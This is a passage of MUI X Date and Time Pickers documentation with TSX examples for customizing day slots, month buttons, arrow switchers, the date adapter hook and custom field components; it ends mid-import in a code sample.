You can use the `<PickerDay2 />` and `<DateRangePickerDay2 />` components to replace the day slot with a simplified DOM structure reduced to a single element.

The `::before` pseudo element is used to create the highlighting effect on the days within the selected range.

The `::after` pseudo element is used to create the previewing effect on hover.

This new structure provides a better theming and customization experience.

```tsx
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickerDay2 } from '@mui/x-date-pickers/PickerDay2';
import { DateRangePickerDay2 } from '@mui/x-date-pickers-pro/DateRangePickerDay2';

export default function PickerDay2Demo() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box sx={{ display: 'flex', gap: 4 }}>
        <StaticDatePicker
          slotProps={{
            actionBar: {
              actions: ['accept', 'cancel'],
            },
          }}
          slots={{ day: PickerDay2 }}
        />
        <StaticDateRangePicker
          slotProps={{
            actionBar: {
              actions: ['accept', 'cancel'],
            },
          }}
          slots={{ day: DateRangePickerDay2 }}
        />
      </Box>
    </LocalizationProvider>
  );
}

```

Use the `--PickerDay-horizontalMargin` and `--PickerDay-size` CSS variables to easily customize the dimensions and spacing of the day slot.

```tsx
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickerDay2, pickerDay2Classes } from '@mui/x-date-pickers/PickerDay2';

export default function PickerDay2DemoCSSVars() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box sx={{ display: 'flex', gap: 4 }}>
        <StaticDatePicker
          sx={{
            [`& .${pickerDay2Classes.root}`]: {
              '--PickerDay-horizontalMargin': '8px',
              '--PickerDay-size': '24px',
            },
          }}
          slotProps={{
            actionBar: {
              actions: ['accept', 'cancel'],
            },
          }}
          slots={{ day: PickerDay2 }}
        />
      </Box>
    </LocalizationProvider>
  );
}

```

Customize the look and feel by creating a custom theme with `styleOverrides`.

```tsx
import { ThemeProvider, createTheme, useTheme } from '@mui/material/styles';
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { DateRangePickerDay2 } from '@mui/x-date-pickers-pro/DateRangePickerDay2';
import { getDensePickerTheme } from './getDensePickerTheme';

export default function PickerDay2DemoCustomTheme() {
  const currentTheme = useTheme();
  const theme = createTheme(getDensePickerTheme(currentTheme.palette.mode));
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box sx={{ display: 'flex', gap: 4 }}>
        <ThemeProvider theme={theme}>
          <StaticDateRangePicker
            slotProps={{
              actionBar: {
                actions: ['accept', 'cancel'],
              },
            }}
            slots={{ day: DateRangePickerDay2 }}
          />
        </ThemeProvider>
      </Box>
    </LocalizationProvider>
  );
}

```

## Month button

This button lets users change the selected month in the `month` view.

:::success
You can learn more about how to enable the `month` view on the [`DateCalendar` doc page](/x/react-date-pickers/date-calendar/#views).
:::

### Component props

You can pass props to the month button as shown below:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function MonthButtonComponentProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar
          slotProps={{
            monthButton: {
              sx: {
                color: '#1565c0',
                borderRadius: '2px',
                borderColor: '#2196f3',
                border: '1px solid',
                backgroundColor: '#90caf9',
              },
            },
          }}
          views={['month', 'day']}
          openTo="month"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Component

You can pass a custom component to replace the month button, as shown below:

```tsx
import { styled } from '@mui/material/styles';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

const CustomMonthButton = styled('button')({
  height: 36,
  width: 72,
});

export default function MonthButtonComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar
          slots={{ monthButton: CustomMonthButton }}
          views={['month', 'day']}
          openTo="month"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Arrow switcher

The following slots let you customize how to render the buttons and icons for an arrow switcher: the component used
to navigate to the "Previous" and "Next" steps of the picker: `PreviousIconButton`, `NextIconButton`, `LeftArrowIcon`, `RightArrowIcon`.

### Component props

You can pass props to the icons and buttons as shown below:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import Stack from '@mui/material/Stack';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import Box from '@mui/material/Box';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { TimeClock, TimeClockSlotProps } from '@mui/x-date-pickers/TimeClock';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

const slotProps: TimeClockSlotProps = {
  leftArrowIcon: { fontSize: 'large' },
  rightArrowIcon: { fontSize: 'large' },
  previousIconButton: {
    size: 'medium',
  },
  nextIconButton: {
    size: 'medium',
  },
};

type CurrentComponent = 'date' | 'time' | 'dateRange';

export default function ArrowSwitcherComponentProps() {
  const [currentComponent, setCurrentComponent] =
    React.useState<CurrentComponent>('date');

  const handleCurrentComponentChange = (
    event: React.MouseEvent<HTMLElement>,
    nextCurrentComponent: CurrentComponent | null,
  ) => {
    if (nextCurrentComponent !== null) {
      setCurrentComponent(nextCurrentComponent);
    }
  };

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2} sx={{ width: '100%' }} alignItems="center">
        <ToggleButtonGroup
          fullWidth
          color="primary"
          value={currentComponent}
          onChange={handleCurrentComponentChange}
          exclusive
        >
          <ToggleButton value={'date'}>date</ToggleButton>
          <ToggleButton value={'time'}>time</ToggleButton>
          <ToggleButton value={'dateRange'}>date range</ToggleButton>
        </ToggleButtonGroup>
        {currentComponent === 'date' && (
          <DateCalendar defaultValue={dayjs('2022-04-17')} slotProps={slotProps} />
        )}
        {currentComponent === 'time' && (
          <Box sx={{ position: 'relative' }}>
            <TimeClock
              defaultValue={dayjs('2022-04-17T15:30')}
              slotProps={slotProps}
              showViewSwitcher
            />
          </Box>
        )}
        {currentComponent === 'dateRange' && (
          <DateRangeCalendar
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
            slotProps={slotProps}
          />
        )}
      </Stack>
    </LocalizationProvider>
  );
}

```

### Component

You can pass custom components to replace the icons, as shown below:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import Box from '@mui/material/Box';
import ArrowLeft from '@mui/icons-material/ArrowLeft';
import ArrowRight from '@mui/icons-material/ArrowRight';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { TimeClock, TimeClockProps } from '@mui/x-date-pickers/TimeClock';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

const slots: TimeClockProps<any>['slots'] = {
  leftArrowIcon: ArrowLeft,
  rightArrowIcon: ArrowRight,
};

type CurrentComponent = 'date' | 'time' | 'dateRange';

export default function ArrowSwitcherComponent() {
  const [currentComponent, setCurrentComponent] =
    React.useState<CurrentComponent>('date');

  const handleCurrentComponentChange = (
    event: React.MouseEvent<HTMLElement>,
    nextCurrentComponent: CurrentComponent | null,
  ) => {
    if (nextCurrentComponent !== null) {
      setCurrentComponent(nextCurrentComponent);
    }
  };

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2} sx={{ width: '100%' }} alignItems="center">
        <ToggleButtonGroup
          fullWidth
          color="primary"
          value={currentComponent}
          onChange={handleCurrentComponentChange}
          exclusive
        >
          <ToggleButton value={'date'}>date</ToggleButton>
          <ToggleButton value={'time'}>time</ToggleButton>
          <ToggleButton value={'dateRange'}>date range</ToggleButton>
        </ToggleButtonGroup>
        {currentComponent === 'date' && (
          <DateCalendar defaultValue={dayjs('2022-04-17')} slots={slots} />
        )}
        {currentComponent === 'time' && (
          <Box sx={{ position: 'relative' }}>
            <TimeClock
              defaultValue={dayjs('2022-04-17T15:30')}
              slots={slots}
              showViewSwitcher
            />
          </Box>
        )}
        {currentComponent === 'dateRange' && (
          <DateRangeCalendar
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
            slots={slots}
          />
        )}
      </Stack>
    </LocalizationProvider>
  );
}

```

## Access date adapter

In case you are building a custom component that needs to work with multiple date libraries, you can access the date adapter instance by using the `usePickerAdapter` hook.
This hook returns the date adapter instance used by the picker, which you can use to format dates, parse strings, and perform other date-related operations.

:::success
If your application uses a single date library, prefer using the date library directly in your components to avoid unnecessary complexity and possible breaking changes.
:::

```tsx
import { styled } from '@mui/material/styles';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import IconButton from '@mui/material/IconButton';
import ChevronLeft from '@mui/icons-material/ChevronLeft';
import ChevronRight from '@mui/icons-material/ChevronRight';
import KeyboardDoubleArrowLeftIcon from '@mui/icons-material/KeyboardDoubleArrowLeft';
import KeyboardDoubleArrowRightIcon from '@mui/icons-material/KeyboardDoubleArrowRight';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { PickersCalendarHeaderProps } from '@mui/x-date-pickers/PickersCalendarHeader';
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
import { usePickerAdapter } from '@mui/x-date-pickers/hooks';

const CustomCalendarHeaderRoot = styled('div')({
  display: 'flex',
  justifyContent: 'space-between',
  padding: '8px 16px',
  alignItems: 'center',
});

function CustomCalendarHeader(props: PickersCalendarHeaderProps) {
  const adapter = usePickerAdapter();
  const {
    currentMonth,
    onMonthChange,
    format = `${adapter.formats.month} ${adapter.formats.year}`,
  } = props;

  const selectNextMonth = () => onMonthChange(adapter.addMonths(currentMonth, 1));
  const selectNextYear = () => onMonthChange(adapter.addYears(currentMonth, 1));
  const selectPreviousMonth = () =>
    onMonthChange(adapter.addMonths(currentMonth, -1));
  const selectPreviousYear = () => onMonthChange(adapter.addYears(currentMonth, -1));

  return (
    <CustomCalendarHeaderRoot>
      <Stack spacing={1} direction="row">
        <IconButton onClick={selectPreviousYear} title="Previous year">
          <KeyboardDoubleArrowLeftIcon />
        </IconButton>
        <IconButton onClick={selectPreviousMonth} title="Previous month">
          <ChevronLeft />
        </IconButton>
      </Stack>
      <Typography variant="body2">
        {adapter.formatByString(currentMonth, format)}
      </Typography>
      <Stack spacing={1} direction="row">
        <IconButton onClick={selectNextMonth} title="Next month">
          <ChevronRight />
        </IconButton>
        <IconButton onClick={selectNextYear} title="Next year">
          <KeyboardDoubleArrowRightIcon />
        </IconButton>
      </Stack>
    </CustomCalendarHeaderRoot>
  );
}

export default function UsePickerAdapter() {
  return (
    <Stack spacing={2} direction="row" flexWrap="wrap">
      <LocalizationProvider dateAdapter={AdapterDayjs}>
        <DemoContainer components={['DateCalendar']}>
          <DemoItem label="AdapterDayjs" alignItems="center">
            <DateCalendar slots={{ calendarHeader: CustomCalendarHeader }} />
          </DemoItem>
        </DemoContainer>
      </LocalizationProvider>
      <LocalizationProvider dateAdapter={AdapterDateFns}>
        <DemoContainer components={['DateCalendar']}>
          <DemoItem label="AdapterDateFns" alignItems="center">
            <DateCalendar slots={{ calendarHeader: CustomCalendarHeader }} />
          </DemoItem>
        </DemoContainer>
      </LocalizationProvider>
    </Stack>
  );
}

```

## Shortcuts

You can add shortcuts to every Picker component.
For more information, check the [dedicated page](/x/react-date-pickers/shortcuts/).

---

# Source: https://mui.com/x/react-date-pickers/custom-field.md

---
productId: x-date-pickers
title: Date and Time Pickers - Custom field
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
components: PickersSectionList, PickersTextField
---

# Custom field

The Date and Time Pickers let you customize the field by passing props or custom components.

:::success
See [Common concepts—Slots and subcomponents](/x/common-concepts/custom-components/) to learn how to use slots.
:::

## Customize the default field

### Customize the `TextField`

You can use the `textField` slot to pass custom props to the `TextField`:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function TextFieldSlotProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker', 'DatePicker']}>
        <DatePicker
          label="Small picker"
          slotProps={{ textField: { size: 'small' } }}
        />
        <DatePicker
          label="Picker with helper text"
          slotProps={{ textField: { helperText: 'Please fill this field' } }}
        />
        <DatePicker
          label="Filled picker"
          slotProps={{ textField: { variant: 'filled' } }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Change the separator of range fields [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

You can use the `dateSeparator` prop to change the separator rendered between the start and end dates:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';

export default function RangeFieldDateSeparator() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker', 'DateRangePicker']}>
        <DateRangePicker slotProps={{ field: { dateSeparator: 'to' } }} />
        <DateRangePicker
          slotProps={{ field: { dateSeparator: 'to' } }}
          slots={{ field: MultiInputDateRangeField }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Change the format density

You can control the field format spacing using the `formatDensity` prop.
Setting `formatDensity` to `"spacious"` adds space before and after each `/`, `-` and `.` character.

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function FieldFormatDensity() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DateField', 'DateField']}>
        <DateField defaultValue={dayjs('2022-04-17')} />
        <DateField defaultValue={dayjs('2022-04-17')} formatDensity="dense" />
        <DateField defaultValue={dayjs('2022-04-17')} formatDensity="spacious" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Multi input range field [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

### Usage inside a range picker

You can pass the multi input fields to the range picker to use it for keyboard editing:

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';

export default function MultiInputDateRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['MultiInputDateRangeField']}>
        <DateRangePicker slots={{ field: MultiInputDateRangeField }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

If you want to create a wrapper around the field, make sure to set the `fieldType` static property to `'multi-input'`.
Otherwise, the picker will throw an error because it won't know how to adapt to this custom field:

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import {
  MultiInputDateRangeField,
  MultiInputDateRangeFieldProps,
} from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';

function WrappedMultiInputDateRangeField(
  props: MultiInputDateRangeFieldProps<true>,
) {
  return <MultiInputDateRangeField spacing={4} {...props} />;
}

WrappedMultiInputDateRangeField.fieldType = 'multi-input';

export default function MultiInputDateRangePickerWrapped() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['MultiInputDateRangeField']}>
        <DateRangePicker slots={{ field: WrappedMultiInputDateRangeField }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Customize the `start` and `end` fields differently

You can pass conditional props to the `textField` slot to customize the input styling based on the `position`.

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { FieldOwnerState } from '@mui/x-date-pickers/models';

export default function MultiInputFieldTextFieldProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['MultiInputDateRangeField', 'MultiInputDateRangeField']}
      >
        <MultiInputDateRangeField
          slotProps={{
            textField: ({ position }) => ({
              color: position === 'start' ? 'success' : 'warning',
              focused: true,
            }),
          }}
          defaultValue={[dayjs('2022-04-17'), null]}
        />
        <DateRangePicker
          slotProps={{
            textField: ({
              position,
            }: FieldOwnerState & { position?: 'start' | 'end' }) => ({
              color: position === 'start' ? 'success' : 'warning',
              focused: true,
            }),
          }}
          slots={{ field: MultiInputDateRangeField }}
          defaultValue={[dayjs('2022-04-17'), null]}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Customize the separator

You can use the `separator` slot to pass custom props to the `Typography` rendered between the two Text Fields:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';

export default function MultiInputFieldSeparatorSlotProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker', 'DateRangePicker']}>
        <MultiInputDateRangeField
          slotProps={{ separator: { sx: { opacity: 0.5 } } }}
        />
        <DateRangePicker
          slotProps={{
            field: { slotProps: { separator: { sx: { opacity: 0.5 } } } } as any,
          }}
          slots={{ field: MultiInputDateRangeField }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
When used inside a picker, the `separator` slot is not available directly and must be accessed using `slotProps.field.slotProps.separator`.
:::

## With Material UI

### Wrapping `PickersTextField`

You can import the `PickersTextField` component to create custom wrappers:

```tsx
import * as React from 'react';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  PickersTextField,
  PickersTextFieldProps,
} from '@mui/x-date-pickers/PickersTextField';
import { DateField } from '@mui/x-date-pickers/DateField';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

const MyPickersTextField = React.forwardRef(
  (props: PickersTextFieldProps, ref: React.Ref<HTMLDivElement>) => (
    <PickersTextField {...props} ref={ref} size="small" />
  ),
);

export default function MaterialV7FieldWrapped() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DatePicker']}>
        <DateField slots={{ textField: MyPickersTextField }} />
        <DatePicker slots={{ textField: MyPickersTextField }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
This approach is only recommended if you need complex customizations on your `PickersTextField`.

If you just need to set some default props, you can use [the `slotProps` prop](/x/react-date-pickers/custom-field/#customize-the-textfield).
:::

### Using Material `TextField`

Pass the `enableAccessibleFieldDOMStructure={false}` to any Field or Picker component to use an `<input />` for the editing instead of the new accessible DOM structure:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function MaterialV6Field() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DatePicker']}>
        <DateField enableAccessibleFieldDOMStructure={false} />
        <DatePicker enableAccessibleFieldDOMStructure={false} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::warning
The non-accessible DOM structure will be deprecated in a follow-up minor version and removed in `v9.x`.
If you are unable to migrate for some reason, please open an issue to describe what is missing from the new DOM structure so that we can improve it before dropping the old one.
:::

## With another Design System

### Using a custom input

:::warning
You will need to use a component that supports the `sx` prop as a wrapper for your input
to be able to benefit from the **hover** and **focus** behavior of the clear button.
You will have access to the `clearable` and `onClear` props using native HTML elements,
but the **focus** and **hover** behavior depends on styles applied via the `sx` prop.
:::

```tsx
import useForkRef from '@mui/utils/useForkRef';
import { styled } from '@mui/material/styles';
import { CalendarIcon, ClearIcon } from '@mui/x-date-pickers/icons';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  DatePicker,
  DatePickerFieldProps,
  DatePickerProps,
} from '@mui/x-date-pickers/DatePicker';
import { unstable_useDateField as useDateField } from '@mui/x-date-pickers/DateField';
import { Unstable_PickersSectionList as PickersSectionList } from '@mui/x-date-pickers/PickersSectionList';
import { usePickerContext } from '@mui/x-date-pickers/hooks';

const BrowserFieldRoot = styled('div', { name: 'BrowserField', slot: 'Root' })({
  display: 'flex',
  alignItems: 'center',
  '& .MuiInputAdornment-root': {
    height: 'auto',
  },
});

const BrowserFieldContent = styled('div', { name: 'BrowserField', slot: 'Content' })(
  {
    border: '1px solid grey',
    fontSize: 13.33333,
    lineHeight: 'normal',
    padding: '1px 2px',
    whiteSpace: 'nowrap',
  },
);

const BrowserIconButton = styled('button', {
  name: 'BrowserField',
  slot: 'IconButton',
})({
  backgroundColor: 'transparent',
  border: 0,
  cursor: 'pointer',
  '&:hover, &:focus': {
    backgroundColor: 'rgba(0, 0, 0, 0.04)',
  },
});

function BrowserDateField(props: DatePickerFieldProps) {
  const fieldResponse = useDateField<true, typeof props>(props);

  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    // Should be passed to the PickersSectionList component
    elements,
    sectionListRef,
    contentEditable,
    onFocus,
    onBlur,
    tabIndex,
    onInput,
    onPaste,
    onKeyDown,

    // Should be passed to the button that opens the picker
    openPickerAriaLabel,

    // Can be passed to a hidden <input /> element
    onChange,
    value,

    // Can be passed to the button that clears the value
    onClear,
    clearable,

    // Can be used to style the component
    areAllSectionsEmpty,
    disabled,
    readOnly,
    focused,
    error,

    // The rest can be passed to the root element
    ...other
  } = fieldResponse;

  const pickerContext = usePickerContext();
  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);

  return (
    <BrowserFieldRoot {...other} ref={handleRef}>
      <BrowserFieldContent>
        <PickersSectionList
          elements={elements}
          sectionListRef={sectionListRef}
          contentEditable={contentEditable}
          onFocus={onFocus}
          onBlur={onBlur}
          tabIndex={tabIndex}
          onInput={onInput}
          onPaste={onPaste}
          onKeyDown={onKeyDown}
        />
      </BrowserFieldContent>
      {clearable && value && (
        <BrowserIconButton
          type="button"
          title="Clear"
          tabIndex={-1}
          onClick={onClear}
          sx={{ marginLeft: 1 }}
        >
          <ClearIcon fontSize="small" />
        </BrowserIconButton>
      )}
      <BrowserIconButton
        onClick={() => pickerContext.setOpen((prev) => !prev)}
        sx={{ marginLeft: 1 }}
        aria-label={openPickerAriaLabel}
      >
        <CalendarIcon />
      </BrowserIconButton>
    </BrowserFieldRoot>
  );
}

function BrowserDatePicker(props: DatePickerProps) {
  return (
    <DatePicker {...props} slots={{ field: BrowserDateField, ...props.slots }} />
  );
}

export default function BrowserV7Field() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <BrowserDatePicker
        slotProps={{
          field: { clearable: true },
        }}
      />
    </LocalizationProvider>
  );
}

```

```tsx
import useForkRef from '@mui/utils/useForkRef';
import { styled } from '@mui/material/styles';
import { ClearIcon, DateRangeIcon } from '@mui/x-date-pickers/icons';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  DateRangePicker,
  DateRangePickerFieldProps,
  DateRangePickerProps,
} from '@mui/x-date-pickers-pro/DateRangePicker';
import { unstable_useSingleInputDateRangeField as useSingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { usePickerContext } from '@mui/x-date-pickers/hooks';
import { Unstable_PickersSectionList as PickersSectionList } from '@mui/x-date-pickers/PickersSectionList';

const BrowserFieldRoot = styled('div', { name: 'BrowserField', slot: 'Root' })({
  display: 'flex',
  alignItems: 'center',
  '& .MuiInputAdornment-root': {
    height: 'auto',
  },
});

const BrowserFieldContent = styled('div', { name: 'BrowserField', slot: 'Content' })(
  {
    border: '1px solid grey',
    fontSize: 13.33333,
    lineHeight: 'normal',
    padding: '1px 2px',
    whiteSpace: 'nowrap',
  },
);

const BrowserIconButton = styled('button', {
  name: 'BrowserField',
  slot: 'IconButton',
})({
  backgroundColor: 'transparent',
  border: 0,
  cursor: 'pointer',
  '&:hover, &:focus': {
    backgroundColor: 'rgba(0, 0, 0, 0.04)',
  },
});

interface BrowserSingleInputDateRangeFieldProps extends DateRangePickerFieldProps {}

function BrowserSingleInputDateRangeField(
  props: BrowserSingleInputDateRangeFieldProps,
) {
  const fieldResponse = useSingleInputDateRangeField<true, typeof props>(props);

  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    // Should be passed to the PickersSectionList component
    elements,
    sectionListRef,
    contentEditable,
    onFocus,
    onBlur,
    tabIndex,
    onInput,
    onPaste,
    onKeyDown,

    // Should be passed to the button that opens the picker
    openPickerAriaLabel,

    // Can be passed to a hidden <input /> element
    onChange,
    value,

    // Can be passed to the button that clears the value
    onClear,
    clearable,

    // Can be used to style the component
    areAllSectionsEmpty,
    disabled,
    readOnly,
    focused,
    error,

    // The rest can be passed to the root element
    ...other
  } = fieldResponse;

  const pickerContext = usePickerContext();
  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);

  return (
    <BrowserFieldRoot
      {...other}
      ref={handleRef}
      style={{
        minWidth: 300,
      }}
    >
      <BrowserFieldContent>
        <PickersSectionList
          elements={elements}
          sectionListRef={sectionListRef}
          contentEditable={contentEditable}
          onFocus={onFocus}
          onBlur={onBlur}
          tabIndex={tabIndex}
          onInput={onInput}
          onPaste={onPaste}
          onKeyDown={onKeyDown}
        />
      </BrowserFieldContent>
      {clearable && value && (
        <BrowserIconButton
          type="button"
          title="Clear"
          tabIndex={-1}
          onClick={onClear}
          sx={{ marginLeft: 1 }}
        >
          <ClearIcon fontSize="small" />
        </BrowserIconButton>
      )}
      <BrowserIconButton
        onClick={() => pickerContext.setOpen((prev) => !prev)}
        aria-label={openPickerAriaLabel}
        sx={{ marginLeft: 1 }}
      >
        <DateRangeIcon />
      </BrowserIconButton>
    </BrowserFieldRoot>
  );
}

BrowserSingleInputDateRangeField.fieldType = 'single-input';

function BrowserSingleInputDateRangePicker(props: DateRangePickerProps) {
  return (
    <DateRangePicker
      {...props}
      slots={{ ...props.slots, field: BrowserSingleInputDateRangeField }}
    />
  );
}

export default function BrowserV7SingleInputRangeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <BrowserSingleInputDateRangePicker
        slotProps={{
          field: { clearable: true },
        }}
      />
    </LocalizationProvider>
  );
}

```

```tsx
import * as React from 'react';
import useSlotProps from '@mui/utils/useSlotProps';
import { styled } from '@mui/material/styles';
import Stack from '@mui/material/Stack';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { usePickerContext, useSplitFieldProps } from '@mui/x-date-pickers/hooks';
import {
  DateRangePicker,
  DateRangePickerFieldProps,
  DateRangePickerProps,
} from '@mui/x-date-pickers-pro/DateRangePicker';
import { useDateRangeManager } from '@mui/x-date-pickers-pro/managers';
import {
  unstable_useMultiInputRangeField as useMultiInputRangeField,
